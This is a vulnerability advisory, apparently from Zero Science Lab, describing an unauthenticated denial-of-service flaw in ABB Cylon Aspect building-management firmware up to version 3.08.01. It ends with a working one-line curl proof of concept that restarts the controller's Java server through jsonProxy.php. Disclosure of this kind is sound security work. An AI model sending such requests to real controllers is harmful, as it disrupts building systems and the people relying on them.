Headline
ABB Cylon Aspect 3.08.01 jsonProxy.php Denial Of Service
ABB Cylon Aspect version 3.08.01 is vulnerable to an unauthenticated denial of service attack in the jsonProxy.php endpoint. An attacker can remotely restart the main Java server by accessing the FTControlServlet with the restart parameter. The endpoint proxies requests to localhost without requiring authentication, enabling attackers to disrupt system availability by repeatedly triggering server restarts.
ABB Cylon Aspect 3.08.01 (jsonProxy.php) Denial of ServiceVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerableto an unauthenticated Denial of Service (DoS) attack. An attacker can remotelyrestart the main Java server by accessing the FTControlServlet with the restartparameter. The endpoint proxies requests to localhost without requiring authentication,enabling attackers to disrupt system availability by repeatedly triggering serverrestarts.Tested on: GNU/Linux 3.15.10 (armv7l) GNU/Linux 3.10.0 (x86_64) GNU/Linux 2.6.32 (x86_64) Intel(R) Atom(TM) Processor E3930 @ 1.30GHz Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz PHP/7.3.11 PHP/5.6.30 PHP/5.4.16 PHP/4.4.8 PHP/5.3.3 AspectFT Automation Application Server lighttpd/1.4.32 lighttpd/1.4.18 Apache/2.2.15 (CentOS) OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64) OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscienceAdvisory ID: ZSL-2024-5856Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5856.php21.04.2024--$ cat project P R O J E C T .| | | |'| ._____ ___ | | |. |' .---"| _ .-' '-. | | .--'| || | _| | .-'| _.| | || '-__ | | | || | |' | |. | || | | | | || | ____| '-' ' "" '-' '-.' '` |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ $ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=FTControlServlet?restart=1"<HTML><HEAD><TITLE>200 Successful</TITLE></HEAD><BODY>200 Successful</BODY></HTML>